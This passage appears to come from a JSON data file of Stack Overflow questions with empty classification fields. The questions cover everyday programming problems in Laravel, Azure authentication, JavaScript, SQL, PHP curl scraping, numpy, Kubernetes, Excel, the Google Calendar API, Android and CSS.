when the app is created?\n \"CallbackPath\": \"/signin-oidc\"\n },\n</code></pre>\n\n<p>My question is, where can I find that ClientId for my existing application? Every answer to this I look says you have to get it or set it up in Azure, but we don't actually use Azure, instead that ClientId is generated automatically by Visual Studio when I create the application (it still works for logging in on the test app so I guess I don't need azure for this?). Where do I get the ClientId for an existing app? Or, how can I add it to an existing app? Or generate one that will be accepted?</p>\n\n<p>Thanks</p>\n\n<p><strong>EDIT</strong> (added from comment below):\nthanks for your response. I have logged into azure portal. The test application I made was in there, but not the new application that was first made with local accounts. So, I added the new application, took it's generated applicationid and put it in the appsettings as the client id. I also generated a key for the application inside azure portal, but I am unsure what to do with that key. It appears now though that I am able to successfully authenticate, in that after logging it it gives me the \"would you like to stay logged in...\" option, but then on redirect it just does Working...indefinitely.so I think the issue now is with redirect. </p>\n\n<p>The reply url I have in azure portal is just </p>\n\n<p><a href=\"https://localhost:44320/signin-oidc\" rel=\"nofollow noreferrer\">https://localhost:44320/signin-oidc</a></p>\n\n<p>I just put that in there to imitate the working test application which has the same thing but a different number, (this number matches the local host number that the new app uses in developement in launch settings). In the c# in AccountController I have tried a lot of things including the default </p>\n\n<p><code>var redirectUrl = Url.Action(nameof(HomeController.Index), \"Home\");</code></p>\n\n<p>but the redirect always gets stuck on Working...</p>\n\n<p>Also, strangely, now every link on the site redirects to the azure login, rather than only the one link I initially setup to redirect to the login action on the accountcontroller for azure, which is odd and not the behavior I need. How do I fix that?</p>\n\n<p>thanks</p>\n"},{"Classification":"","Title":"Routing Issue in Larvel - Not found error","Body":"<p>When I am trying to access my project I get:</p>\n\n<pre><code>Sorry, the page you are looking for could not be found\n</code></pre>\n\n<p>I have investigated the issue and found that running: <code>php artisan route:list</code> is returning empty even though my routes/web.php has a lot of routes:</p>\n\n<pre><code>/** Auth Routes*/\nAuth::routes();\n\n/** Homepage Route*/\nRoute::get('/', function () {\n return view('layout');\n});\n</code></pre>\n\n<p>I have tried all kind of commands:</p>\n\n<pre><code>php artisan route:cache\nphp artisan route:clear\nphp artisan cache:clear\n</code></pre>\n\n<p>Please help.</p>\n"},{"Classification":"","Title":"Javascript string argument is undefined, cannot access .length property","Body":"<p>So I'm working on freecodecamp challenge where i need to decode ceasar ciphers. I've made a secondary function that is called from the main function to decode each word in the string. I'm having issues in that secondary code because it keeps on giving me the error that the string argument set as the parameter is undefined and that i cannot access length. Can someone please elucidate what's going on?</p>\n\n<p>Disclaimer: I'm new to coding and spent the last 30 minutes searching for an answer to this problem and I can't find one. I feel like this fix should be easy and simple and apologize in advance if anyone finds this question redundant.</p>\n\n<p>Here is the code:</p>\n\n<pre><code>function rot13(str) { // LBH QVQ VG!\n var stringArray = [];\n stringArray = str.split(\" \");\n var value = stringArray.length;\n var decodedWords = [];\n var iCount = 0;\n\n while(iCount &lt; value){\n decodedWords.push(decodeWord(stringArray[i]));\n iCount++;\n }\n\n return decodeWord(\"Confused!\");\n\n}\n\nfunction decodeWord(word) {\n\n var decodedWord = \"\";\n\n for (i = 0; i &lt; word.length; i++){\n\n var cipherVal = word.charCodeAt(i);\n var decodedVal = cipherVal;\n\n if( cipherVal &gt;= 97 &amp;&amp; cipherVal &lt;= 109 || cipherVal &gt;= 65 &amp;&amp; cipherVal &lt;= 77){\n decodedVal = cipherVal + 13;\n }\n\n else if(cipherVal &gt;= 110 &amp;&amp; cipherVal &lt;= 122 || cipherVal &gt;= 78 &amp;&amp; \n cipherVal &lt;= 90){\n decodedVal = cipherVal - 13;\n }\n\n decodedWord += String.fromCharCode(decodedVal);\n }\n return decodedWord;\n }\n</code></pre>\n\n<p>Thanks for any advice! Much Appreciated.</p>\n"},{"Classification":"","Title":"Linux shell: Detecting state changes on a CSV log file","Body":"<p>This is my automatically-generated log file (continuous one-minute checking of my internet line) :</p>\n\n<pre><code>$ cat log.csv\n\n2018-04-27,23:37,OK\n2018-04-27,23:38,OK\n2018-04-27,23:39,OK\n2018-04-27,23:40,ERROR\n2018-04-27,23:41,ERROR\n2018-04-27,23:42,OK\n2018-04-27,23:43,OK\n2018-04-27,23:44,OK\n2018-04-27,23:45,OK\n</code></pre>\n\n<p>I am trying to make it more confortable for reading by scripting some interpretation method that depends on the 3rd field (line state: OK/ERROR) state and <strong>removes consecutive</strong> values, some sort of shell script that only shows the <strong>initial and state change</strong> for the internet line, transforming the above log into:</p>\n\n<pre><code>2018-04-27,23:37,OK\n2018-04-27,23:40,ERROR\n2018-04-27,23:42,OK\n</code></pre>\n\n<p>That would mean:</p>\n\n<pre><code>2018-04-27,23:37,Entered Status OK\n2018-04-27,23:40,Entered Status ERROR\n2018-04-27,23:42,Entered Status OK\n</code></pre>\n\n<p>As can be seen, leaving only the state changes makes the log's display <strong>shorter and easier</strong> to read. </p>\n\n<p>Assuming the log file could be very long (consider months of one-minute logging), what could be a proper (efficient) method to <strong>script this \"interpretation\" on a Linux shell</strong>? </p>\n\n<p>I know that iterations are not <a href=\"https://unix.stackexchange.com/questions/169716/why-is-using-a-shell-loop-to-process-text-considered-bad-practice\">considered</a> a very good idea on shells, so I was thinking about <code>AWK</code>, but I am not very experienced on it.<br>\nLoops solutions could be better than nothing, of course.</p>\n\n<p><strong>Further Data</strong>:</p>\n\n<ul>\n<li>A similar (but not the same) question (asked by me, too) <a href=\"https://stackoverflow.com/questions/48490357/how-can-i-detect-a-sequence-of-hollows-holes-lines-not-matching-a-pattern-b\">here</a>.</li>\n</ul>\n"},{"Classification":"","Title":"bindlinglist is updated but datagridview is not","Body":"<p>I have the following code that I use to update my datagridview:</p>\n\n<pre><code>public readonly BindingList&lt;InventoryTransaction&gt; InventoryTransactions = new BindingList&lt;InventoryTransaction&gt;() { RaiseListChangedEvents = true };\nprivate bool _scanning;\nprivate string _checkData;\n\npublic BarCodeForm()\n{\n InitializeComponent();\n\n barCodeForm_InventoryTransactionBindingSource.DataSource = InventoryTransactions;\n\n panel1.Enabled = false;\n _scanning = true;\n timer_ScanTimer.Enabled = false;\n //InventoryTransactions.AddingNew += InventoryTransactions_AddingNew;\n}\n\n\nprivate void timer_ScanTimer_Tick(object sender, EventArgs e)\n{\n panel1.Enabled = true;\n label_Message.Text = \"Please press ENTER or click RESET to scan again.\";\n timer_ScanTimer.Enabled = false;\n\n textBox_ModelNumber.Text = _checkData;\n textBox_Quantity.Text = \"1\";\n\n var qry = (from x in InventoryTransactions\n where x.ModelNumber == _checkData\n select x).FirstOrDefault();\n\n _checkData = string.Empty;\n\n if (qry == null)\n {\n textBox_Quantity.Focus(); \n return;\n }\n\n qry.Quantity += qry.Quantity;\n barCodeForm_InventoryTransactionBindingSource.EndEdit();\n\n panel1.Enabled = false;\n _scanning = true;\n timer_ScanTimer.Enabled = false;\n panel1.Text = \"Scan now!\";\n\n ResetForm();\n}\n</code></pre>\n\n<p>The problem is that I have updated the quantity of the InventoryTransactions but my datagridview is not updating. Do I have to issue a command of some sort to force the update or to apply the changes?</p>\n\n<p>Thanks!</p>\n"},{"Classification":"","Title":"How to capture multiple, unknown number of values using regex","Body":"<p>I would like to capture multiple strings using a regex. I was hoping that $matches would contain both a <code>digita</code>, <code>digitb</code>, and <code>digitc</code> values. It appears to capture <code>digita</code> and stop. If possible, I would like for the capture to be order independent. How can I do that?</p>\n\n<pre><code>PS C:\\src\\t&gt; $s2 = 'a=3 c=5 b=4'\nPS C:\\src\\t&gt; $s2 -match 'a=(?&lt;digita&gt;[0-9])|b=(?&lt;digitb&gt;[0-9])c=(?&lt;digitc&gt;[0-9])'\nTrue\nPS C:\\src\\t&gt; $matches\n\nName Value\n---- -----\ndigita 3\n0 a=3\n</code></pre>\n"},{"Classification":"","Title":"Show selected date from ReactJS Datepicker component in another component","Body":"<p>In a view, the user can use the ReactJS Datepicker to select a date.<br>\nNow in another View, I just want to show the current selected date without using the ReactJS Datepicker. How can I accomplish this? Thanks for the help!</p>\n\n<pre><code> class DatePickerComponent extends React.Component {\n constructor (props) {\n super(props)\n this.state = {\n date: moment()\n };\n this.handleChange = this.handleChange.bind(this);\n }\n\n handleChange= (date) =&gt; {\n\n const valueOfInput = date.format();\n this.setState({\n date: date\n });\n\n alert(\"time is now \" + valueOfInput);\n }\n\n showDate = () =&gt; {\n const selectedDate = this.state.date;\n &lt;div&gt;&lt;p&gt;date is {selectedDate}&lt;/p&gt;&lt;/div&gt;\n\n}\n\n render() {\n return &lt;DatePicker\n customInput={&lt;ExampleCustomInput/&gt;}\n selected={this.state.date}\n onChange={this.handleChange}\n // showDate={this.showDate}\n...\n</code></pre>\n\n<p>rendering view where the user can select a date</p>\n\n<pre><code>&lt;MenuItem&gt; &lt;DatePicker selected={this.state.date} onChange={this.handleChange} /&gt; &lt;/MenuItem&gt; \n</code></pre>\n\n<p><a href=\"https://i.stack.imgur.com/YBNhV.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/YBNhV.png\" alt=\"enter image description here\"></a></p>\n"},{"Classification":"","Title":"How do I call a route with Javascript and destroy data from database?","Body":"<p>I'm working with Laravel 5 and I need to destroy data from database, I've the following code</p>\n\n<p>HTML</p>\n\n<pre><code>&lt;div class=\"modal fade\" id=\"deletePub\" tabindex=\"-1\" role=\"dialog\" aria-labelledby=\"exampleModalLongTitle\" aria-hidden=\"true\"&gt;\n &lt;div class=\"modal-dialog\" role=\"document\"&gt;\n &lt;div class=\"modal-content\"&gt;\n &lt;div class=\"modal-header\"&gt;\n &lt;h6 class=\"modal-title\" id=\"modalPublicationTitle\"&gt;Confirm Publication Delete&lt;/h6&gt;\n &lt;button type=\"button\" class=\"close\" data-dismiss=\"modal\" aria-label=\"Close\"&gt;\n &lt;span aria-hidden=\"true\"&gt;&amp;times;&lt;/span&gt;\n &lt;/button&gt;\n &lt;/div&gt;\n &lt;div class=\"modal-body\"&gt; \n &lt;div class=\"row align-items-center\"&gt;\n &lt;div class=\"col-lg-12\" align=\"center\"&gt;Really, do you want to delete this publication?&lt;/div&gt;\n &lt;a href=\"#\" id=\"btn-confirmDeletePub\" class=\"btn btn-danger btn-sm\" role=\"button\"&gt;Yes, Delete&lt;/a&gt;\n &lt;/div&gt;\n &lt;/div&gt;\n &lt;/div&gt;\n &lt;/div&gt;\n&lt;/div&gt;\n</code></pre>\n\n<p>JS</p>\n\n<pre><code>$(document).ready(function(){\n\n $(\"#btn-confirmDeletePub\").click(function(){\n\n $.ajaxSetup({\n headers: {\n 'X-CSRF-TOKEN': $('meta[name=\"csrf-token\"]').attr('content')\n }\n });\n\n var publicationId = window.location.href.split(\"/\")[4]\n\n console.log(publicationId);\n\n $.ajax({\n type: \"DELETE\",\n url: \"/publications/\" + publicationId,\n data: JSON.stringify(publicationId),\n contentType: \"application/json; charset=utf-8\",\n dataType: \"json\",\n });\n\n });\n\n});\n</code></pre>\n\n<p>web.php</p>\n\n<pre><code>Route::resource('publications','PublicationController);\n</code></pre>\n\n<p>PublicationController.php</p>\n\n<pre><code>public function destroy($id)\n{\n $publication = Publication::find($id);\n $publication-&gt;users()-&gt;detach($publication-&gt;id);\n $publication-&gt;topics()-&gt;detach($publication-&gt;id);\n $publication-&gt;authors()-&gt;detach($publication-&gt;id);\n\n $publication-&gt;details()-&gt;delete();\n\n //$publication-&gt;delete();\n\n Redirect('/users')-&gt;with('success', 'Publication deleted correctly.');\n\n}\n</code></pre>\n\n<p>All the following code should call the <code>btn-confirmDeletePub</code> function of the JS file when I click on the <code>Yes, delete</code> button. The JS button captures the id of the publication to be deleted and will sent to the <code>destroy($id)</code> function of the <code>PublicationController</code>, but for some reason this function it's not called, the error is inside the JS and I'm sure, but I do not know how to solve.</p>\n\n<p>In Google Chrome's Console I get the following error: </p>\n\n<pre><code>DELETE http://localhost:8000/publications 500 (Internal Server Error)\n</code></pre>\n"},{"Classification":"","Title":"How to remove undefined returns in once() function (without changing previous function)","Body":"<p>I have two snippets of code, they differ in the definition of the add(y) function. One uses console.log() (The original version) and one is modified to use return. The second way I can get my prompt to pass, which is...</p>\n\n<blockquote>\n <p>Write a function once that accepts a callback as input and returns a function. When the returned function is called the first time, it should call the callback and return that output. If it is called any additional times, instead of calling the callback again it will simply return the output value from the first time it was called.</p>\n</blockquote>\n\n<p>How can I refactor the first code without modifying add(y) to achieve the desired result that is returned in the second code?</p>\n\n<p><div class=\"snippet\" data-lang=\"js\" data-hide=\"false\" data-console=\"true\" data-babel=\"false\">\n<div class=\"snippet-code\">\n<pre class=\"snippet-code-js lang-js prettyprint-override\"><code>//Challenge 4\nfunction addByX(x) {\n function add(y) {\n console.log(y + x);\n }\n return add;\n}\n\nvar addByTwo = addByX(2);\n\n// now call addByTwo with an input of 1\n//addByTwo(1);\n// now call addByTwo with an input of 2\n//addByTwo(5);\n\n//Challenge 5\nfunction once(func) {\n var answer;\n\n function inner(x) {\n if (!answer) {\n answer = func(x);\n return answer;\n } else {\n return answer;\n }\n }\n return inner;\n}\n\nvar onceFunc = once(addByTwo);\n\n// UNCOMMENT THESE TO TEST YOUR WORK!\nconsole.log(onceFunc(5)); //should log 7\nconsole.log(onceFunc(10)); //should log 7\nconsole.log(onceFunc(9001)); //should log 7</code></pre>\n</div>\n</div>\n</p>\n\n<p>SECOND CODE(works)</p>\n\n<p><div class=\"snippet\" data-lang=\"js\" data-hide=\"false\" data-console=\"true\" data-babel=\"false\">\n<div class=\"snippet-code\">\n<pre class=\"snippet-code-js lang-js prettyprint-override\"><code>//Challenge 4\nfunction addByX(x) {\n function add(y) {\n return y + x;\n }\n return add;\n}\n\nvar addByTwo = addByX(2);\n\n// now call addByTwo with an input of 1\n//addByTwo(1);\n// now call addByTwo with an input of 2\n//addByTwo(5);\n\n//Challenge 5\nfunction once(func) {\n var answer;\n\n function inner(x) {\n if (!answer) {\n answer = func(x);\n return answer;\n } else {\n return answer;\n }\n }\n return inner;\n}\n\nvar onceFunc = once(addByTwo);\n\n// UNCOMMENT THESE TO TEST YOUR WORK!\nconsole.log(onceFunc(5)); //should log 7\nconsole.log(onceFunc(10)); //should log 7\nconsole.log(onceFunc(9001)); //should log 7</code></pre>\n</div>\n</div>\n</p>\n"},{"Classification":"","Title":"How to get numeric value(Decimals) from a string name","Body":"<p>I currently have a list of mat files labeled from P0.01.mat- P10.mat and would like to get numeric value of the selected .mat file. what i have currently gives me just from P1.mat to P10.mat. When i run this for a string of P0.01.mat its returns the number 1.</p>\n\n<pre><code> Files=dir(fullfile(datapath,'*.mat'));\n numfiles=length(Files);\n results=cell(numfiles,1);\n for k = 1:numfiles\n results{k}=Files(k).name; % lists all the names available\n end\n Ace=[results];\n A=Ace(1); %selects the string \n\n B = regexp(A,'\\d*','Match'); %gets the numerals in the string \n for ii= 1:length(B)\n if ~isempty(B{ii})\n Num(ii,1)=str2double(B{ii}(end));\n else\n Num(ii,1)=NaN;\n end\n end\n Num \n</code></pre>\n"},{"Classification":"","Title":"Join or Union in 5 tables on DATE clause","Body":"<p>My client have a database and inside have 5 tables, right now without relationship, just the date in each table. I know that these will be maybe impossible but my client need a report with the info in this tables. He need join the row <code>profession</code> that right now are in 4 of 5 tables with the <code>amount</code> and <code>userId</code> in the last one, all these with <code>between</code> dates. So I tried <code>INNER JOIN</code> ed all tables and in <code>ON</code> clause make the relation with the <code>date</code> row.</p>\n\n<p>Here are the TABLES:</p>\n\n<pre><code>---DATES---\n\nuserId ---- Int\nusername -- varchar 150\namount ---- Float(5,2)\ndate ------ DATETIME\n\n\n--- TABLE1, TABLE2, TABLE3, TABLE4 --- (same rows for different parts in the program)(have more rows than those)\n\nprofession --- varchar 100\ndate -------- DATETIME\nuserId ------ Int\n</code></pre>\n\n<p>I made this type of <code>INNER JOIN</code>, but right now, not shown any respond, without any error in console. so I don't know if there is another form to do this for show me the info that the client need:</p>\n\n<pre><code>&lt;?php\n$fromdate = filter_var($_POST[\"fromdate\"], FILTER_SANITIZE_STRING);\n$todate = filter_var($_POST[\"todate\"], FILTER_SANITIZE_STRING);\n try{\n$sql = $conn-&gt;prepare(\"SELECT DATE_FORMAT(C.date, '%d de %M de %Y') AS date,\nC.userId, C.username, C.amount, (D.profession) AS diag1, (DN.profession) AS diag2, \n(X.professions) AS diag3, (DJ.profession) AS diag4 FROM DATES C,\nINNER JOIN DIAGNOSTICO D\nINNER JOIN DIAGNOSTICON DN\nINNER JOIN CONSULTA X\nINNER JOIN DIAGNOSTICOJUR DJ\nON DATE_FORMAT(C.date, '%Y-%m-%d') = DATE_FORMAT(D.date, '%Y-%m-%d')\nAND DATE_FORMAT(C.date, '%Y-%m-%d') = DATE_FORMAT(DN.date, '%Y-%m-%d')\nAND DATE_FORMAT(C.date, '%Y-%m-%d') = DATE_FORMAT(X.date, '%Y-%m-%d')\nAND DATE_FORMAT(C.date, '%Y-%m-%d') = DATE_FORMAT(DJ.date, '%Y-%m-%d')\nWHERE C.date BETWEEN '\".$fromdate.\"' AND '\".$todate.\"' ORDER BY C.date ASC\");\n$sql-&gt;execute();\nwhile($row = $sql-&gt;fetch(PDO::FETCH_ASSOC)) {\n?&gt;\n &lt;tr&gt;\n &lt;td&gt;&lt;?php echo $row[\"date\"]; ?&gt;&lt;/td&gt;\n &lt;td class=\"center\"&gt;&lt;?php echo $row[\"userId\"]; ?&gt;&lt;/td&gt;\n &lt;td class=\"center\"&gt;&lt;?php echo $row[\"username\"]; ?&gt;&lt;/td&gt;\n &lt;td class=\"center\"&gt;&lt;?php echo $row[\"amount\"]; ?&gt;&lt;/td&gt;\n &lt;td class=\"center\"&gt;\n &lt;?php echo $row[\"diag1\"].''.$row[\"diag2\"].''.$row[\"diag3\"].''.$row[\"diag4\"]; ?&gt;'\n &lt;/td&gt; //\n &lt;/tr&gt;\n&lt;?php } ?&gt;\n</code></pre>\n\n<p>I tried with the date row because the client save only once the <code>amount</code> in the <code>DATES</code> table. That same day he (the client), save in the profession row only once , in which table? that depends on what the client has done to the user.(The program have multiple forms)</p>\n"},{"Classification":"","Title":"Fatal error: Uncaught Error: Call to a member function find() on string while parsing data","Body":"<p>So I am trying to get some information from this webpage <a href=\"https://promo.pan.com.hr\" rel=\"nofollow noreferrer\">https://promo.pan.com.hr</a> with curl and simple HTML dom. But unfortunately, I keep receiving an error and I can't figure it out what is wrong...</p>\n\n<pre><code>&lt;?php\ninclude_once(\"simple_html_dom.php\");\nfunction file_get_contents_curl($url)\n{\n$ch = curl_init();\n\ncurl_setopt($ch, CURLOPT_HEADER, 0);\ncurl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);\ncurl_setopt($ch, CURLOPT_URL, $url);\ncurl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);\n\n$data = curl_exec($ch);\ncurl_close($ch);\n\nreturn $data;\n}\n\n$html = file_get_contents_curl(\"https://promo.pan.com.hr\");\n\n\nforeach($html-&gt;find(\"p\") as $element)\necho $element-&gt;innertext . '&lt;br&gt;';\n?&gt;\n</code></pre>\n\n<p>Anyone knows why I am getting this error?</p>\n\n<p>Fatal error: Uncaught Error: Call to a member function find() on string in C:\\Server\\XAMPP\\htdocs\\pan\\index.php:21 Stack trace: #0 {main} thrown in C:\\Server\\XAMPP\\htdocs\\pan\\index.php on line 21 </p>\n\n<p>line 21 is:</p>\n\n<pre><code>foreach($html-&gt;find(\"p\") as $element)\n</code></pre>\n"},{"Classification":"","Title":"read number arrays in text file into numpy array - python","Body":"<p>let's say I have a file that looks like this </p>\n\n<pre><code>text a\n\nbla bla\n\n1 2 3 \n4 5 6\n\ntext b\n\nbla\n\n7 8 9\n10 11 12\n\ntext c\n\nbla bla bla\n\n13 14 15\n16 17 18\n</code></pre>\n\n<p>I am trying to extract only the number arrays and place them into a <code>numpy</code> array:</p>\n\n<pre><code>array([[ 1, 2, 3,\n 4, 5, 6,],\n [ 7, 8, 9,\n 10, 11, 12],\n [ 13, 14, 15,\n 16, 17, 18]])\n</code></pre>\n\n<p>I tried using <code>np.genfromtxt('test.txt',usecols=[0,1,2],invalid_raise=False)</code></p>\n\n<pre><code>array([[ 1., 2., 3.],\n [ 4., 5., 6.],\n [ 7., 8., 9.],\n [ 10., 11., 12.],\n [ nan, nan, nan],\n [ 13., 14., 15.],\n [ 16., 17., 18.]])\n</code></pre>\n\n<p>but it doesn't create sub-arrays and converts the text into <code>nans</code>. Is there a better way of doing this?</p>\n"},{"Classification":"","Title":"Funnel all kubernetes node traffic through proxy","Body":"<p>I have a 3 node kubernetes cluster. There are several services each with pods spread across all the nodes. \nRight now, as the individual pod is told to make a request from some external server in my network, that request gets routed out via the node's IP and the server responds and all is fine that way. \nMy issue is that in most cases, this is (for example) an snmpget to a device with ACL that says it will only answer to a certain IP...\nFor ingress I have a VIP to the whole cluster, but I need to somehow route all outbound requests via this same address and make sure that the responses make it back to the original requesting container.</p>\n\n<p>Do I have to set up a proxy server on my nodes or is there a built in kubernetes way to do this that I am missing?</p>\n\n<p>Thanks for the help</p>\n"},{"Classification":"","Title":"Making the criteria of DMIN and DMAX depend on the value specified in a given cell","Body":"<p>I'm trying to find a way to dynamically adust the criteria used in calls to db functions like <code>DMAX</code> and <code>DMIN</code> by specifying the criterion value to be obtained from anotheer cell in the worksheet. To illustrate what I mean, please try this:</p>\n\n<ol>\n<li><p>Start with a blank Excel 2007 worksheet.</p></li>\n<li><p>Enter the word <code>Test</code> in cells A1, D1 and A7 and the numbers 1,2 and 3 into cells A8, A9 &amp; A10 respectively. </p></li>\n<li><p>Enter <code>&gt;=3</code> in A2 and <code>=\"&gt;=a5\"</code> in D2</p></li>\n<li><p>Click cell A4 and enter the following into the formula box:=DMIN(A$7:A$10, 1, A$1:A$2).</p></li>\n</ol>\n\n<p>A4 now correctly displays the value 3. However, what I'd like to know is the correct criteria expression to say that it should pick up the value to use from another cell.</p>\n\n<p>So</p>\n\n<ol start=\"5\">\n<li><p>Enter <code>2</code> in A5.</p></li>\n<li><p>Enter <code>=DMIN(A$7:A$10, 1, D$1:D$2)</code> in A6.</p></li>\n</ol>\n\n<p>A6 now displays <code>0</code>, which is not what I want. I want the value to be used in the criterion to be picked up from A5. So, my question is, what is the correct way to tell the criterion to get the expression value from the contents of another cell?</p>\n"},{"Classification":"","Title":"Authorizing Web App access to user Google Calendar's on Client and Server side? (with Firebase and Google API)","Body":"<p>I have a <strong>Firebase web app</strong>,<br>\nand want that <strong>any user</strong> can login and <strong>authorize my web app</strong> to <strong>access his Google Calendars</strong> (read/write) on <strong>Client</strong> AND <strong>Server</strong> side (to manage calendars when the user is online, and when he's offline).</p>\n\n<hr>\n\n<p>On <strong>Client side</strong>.<br>\nAfter creating an <strong>API key</strong> and a <strong>OAuth 2.0 client ID (Web Application)</strong> on <a href=\"https://console.developers.google.com/apis/credentials\" rel=\"noreferrer\">google developers console</a>,\nI've implemented this code:</p>\n\n<p>First, login with <strong>Google</strong> through <strong>Firebase Authentification</strong></p>\n\n<pre><code>firebase.initializeApp({apiKey: 'MY_WEB_APP_API_KEY'})\nvar provider = new firebase.auth.GoogleAuthProvider()\nprovider.addScope('https://www.googleapis.com/auth/calendar')\nfirebase.auth().signInWithPopup(provider)\n</code></pre>\n\n<p>And, ask authorization that my <strong>Web Application</strong> can access user's <strong>Google Calendar</strong> with <a href=\"https://developers.google.com/api-client-library/javascript/start/start-js\" rel=\"noreferrer\">Google Api JS client</a></p>\n\n<pre><code>// https://apis.google.com/js/api.js\ngapi.load('client:auth2', () =&gt; {\n gapi.auth2.authorize({\n scope: 'https://www.googleapis.com/auth/calendar',\n client_id: 'MY_WEB_APPL_CLIENT_ID',\n prompt: 'none',\n access_type: 'offline',\n include_granted_scopes: true\n }, () =&gt; {\n gapi.client.init({\n discoveryDocs: ['https://www.googleapis.com/discovery/v1/apis/calendar/v3/rest']\n }).then(() =&gt; {\n return gapi.client.calendar.events.list({\n calendarId: 'ANY_USER_CALENDAR_ID' // example: 123456789@group.calendar.google.com\n })\n }).then((resolve, reject) =&gt; {\n // IT WORKS ON CLIENT SIDE (RETURNS EVENTS LIST AS EXCEPTED)\n })\n })\n})\n</code></pre>\n\n<p>Here, <strong>everything works as excepted on Client side</strong> (read and write to the connected user Google Calendar).</p>\n\n<hr>\n\n<p>But now, on <strong>Server side</strong>.<br>\nAfter creating a <code>.json</code> <strong>Service Account Key (App Engine default service account)</strong> on <a href=\"https://console.developers.google.com/apis/credentials\" rel=\"noreferrer\">google developers console</a>, I've implemented the <a href=\"https://github.com/google/google-api-nodejs-client\" rel=\"noreferrer\">google-api-nodejs-client</a> on <strong>Firebase Cloud Functions</strong>, with this code:</p>\n\n<pre><code>const privatekey = require(\"./MY_WEB_APP_SERVICE_ACCOUNT_KEY.json\")\nconst {google} = require('googleapis')\nconst jwtClient = new google.auth.JWT(\n privatekey.client_email,\n null,\n privatekey.private_key,\n ['https://www.googleapis.com/auth/calendar']\n)\njwtClient.authorize()\nconst calendar = google.calendar('v3')\n\ncalendar.events.list({\n auth: jwtClient,\n calendarId: 'ANY_USER_CALENDAR_ID' // (in this case, the same previously used on client side: 123456789@group.calendar.google.com)\n}).then((resolve, reject) =&gt; {\n // IT DOESNT WORKS ON SERVER SIDE (RETURNS 'Not Found' ERROR...)\n})\n</code></pre>\n\n<p>And here <strong>the authentification is working</strong>,<br>\nbut the <code>calendar.events.list()</code> returns a <strong>'Not Found' error</strong> (who's not really helpful...).</p>\n\n<hr>\n\n<p>If a user previously allowed my web app to access his calendars,<br>\nread or write on these calendars through the service account should work?</p>\n\n<p>So I dont understand <strong>what I missed or misunderstood?</strong> and <strong>need explicit code</strong> to move forward.</p>\n\n<p>Hoping that my explanation is clear enough.</p>\n\n<p>Thanks for your help!</p>\n"},{"Classification":"","Title":"Where use onSaveInstanceState and onRestoreInstanceState methods?","Body":"<p>This is a conceptual issue. Sorry if it is a simple question, I start to learn Android few days ago.</p>\n\n<p>I was trying to save the state of a recyclerview when the user out of the activity. And I read some articles about this. </p>\n\n<p>In this article <a href=\"https://panavtec.me/retain-restore-recycler-view-scroll-position\" rel=\"nofollow noreferrer\">https://panavtec.me/retain-restore-recycler-view-scroll-position</a> the methods are :</p>\n\n<pre><code>protected Parcelable onSaveInstanceState();\nprotected void onRestoreInstanceState(Parcelable state);\n</code></pre>\n\n<p>In this other article <a href=\"https://stackoverflow.com/questions/28236390/recyclerview-store-restore-state-between-activities?utm_medium=organic&amp;utm_source=google_rich_qa&amp;utm_campaign=google_rich_qa\">RecyclerView store / restore state between activities</a> the methods are:</p>\n\n<pre><code>protected void onSaveInstanceState(Bundle state)\nprotected void onRestoreInstanceState(Bundle state)\n</code></pre>\n\n<p>These two articles pretend to answer the same question, how to restore the state of a recyclerview.</p>\n\n<hr>\n\n<p>Questions: </p>\n\n<p>1 - The first article implements these methods on a layoutManager!? So, I'm using a default GridLayoutManager, so to implement save and restore instance in the GridLayoutManager I should create my own class extending the default class?</p>\n\n<p>2 - I can implement these methods in the layoutmanager regardless of implementing them in the activity?</p>\n\n<p>3 - Where is the correct place to implement these methods? or is there a official answer to the question: \"How restore the state of a recyclerview?\"</p>\n\n<p>I am looking for opinions on these three questions, not a full implementation.</p>\n"},{"Classification":"","Title":"airflow task with scheduled state hanging","Body":"<p>I am using airflow 1.8.1 and there was wired behavior and I tried to figure out. What it happened was I cleared a running task and airflow marked it as \"shutdown\", then I tried to rerun so cleared again. Now that task will be put as \"scheduled\" state but scheduler won't pick it up, anyone has similar issue? what is the appropriate way to do this? </p>\n\n<p><a href=\"https://i.stack.imgur.com/oSLTb.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/oSLTb.png\" alt=\"enter image description here\"></a></p>\n"},{"Classification":"","Title":"Two connected divs with irregular shapes - images with text","Body":"<p>I am looking to reproduce this kind of shapes on both connected divs.</p>\n\n<p><a href=\"https://i.stack.imgur.com/UUIMD.jpg\" rel=\"nofollow noreferrer\">Skewed divs</a></p>\n\n<p>Both of the divs supposed to be skewed, but text inside should be normal and exactly in the middle of the element. </p>\n\n<p>The one issue is, I cannot find a way to how you can connect them with the support for IE11 without using clip-path. </p>\n\n<p>I would like to make it supportable to IE11(so clip-path is not a way) and responsive.</p>\n\n<p>This is my example on codepen: </p>\n\n<p><div class=\"snippet\" data-lang=\"js\" data-hide=\"false\" data-console=\"true\" data-babel=\"false\">\n<div class=\"snippet-code\">\n<pre class=\"snippet-code-css lang-css prettyprint-override\"><code>.hello {\n position: relative;\n width: 100%;\n\n &gt; div {\n position: absolute;\n top: 0;\n width: 65%;\n height: 850px;\n display: flex;\n flex-direction: column;\n }\n\n .part1 {\n top: 150px;\n left: 0;\n }\n\n .part2 {\n right: 0;\n flex-direction: column-reverse;\n }\n\n a {\n color: #fff;\n font-weight: 400;\n font-size: 3.2rem;\n line-height: 1.5;\n margin: 2rem 0;\n text-transform: uppercase;\n text-align: center;\n }\n}</code></pre>\n<pre class=\"snippet-code-html lang-html prettyprint-override\"><code>&lt;section class=\"hello\"&gt;\n &lt;div class=\"part1\"&gt;\n &lt;a href=\"#\"&gt;&lt;h2&gt;text&lt;/h2&gt;&lt;/a&gt;\n &lt;svg viewbox=\"0 0 10 6.7\"&gt;\n &lt;defs&gt;\n &lt;clipPath id=\"clip1\"&gt;\n &lt;polygon points=\"0 0, 10 -1, 4 10, 0 10\" /&gt;\n &lt;/clipPath&gt;\n &lt;/defs&gt;\n &lt;image xlink:href=\"https://images.pexels.com/photos/1042168/pexels-photo-1042168.jpeg?auto=compress&amp;cs=tinysrgb&amp;h=750&amp;w=1260\" x=\"0\" y=\"0\" height=\"6.7\" width=\"10\" clip-path=\"url(#clip1)\"/&gt;\n &lt;/svg&gt;\n &lt;/div&gt;\n &lt;div class=\"part2\"&gt;\n &lt;a href=\"#\"&gt;&lt;h2&gt;text&lt;/h2&gt;&lt;/a&gt;\n &lt;svg viewbox=\"0 0 10 6.7\"&gt;\n 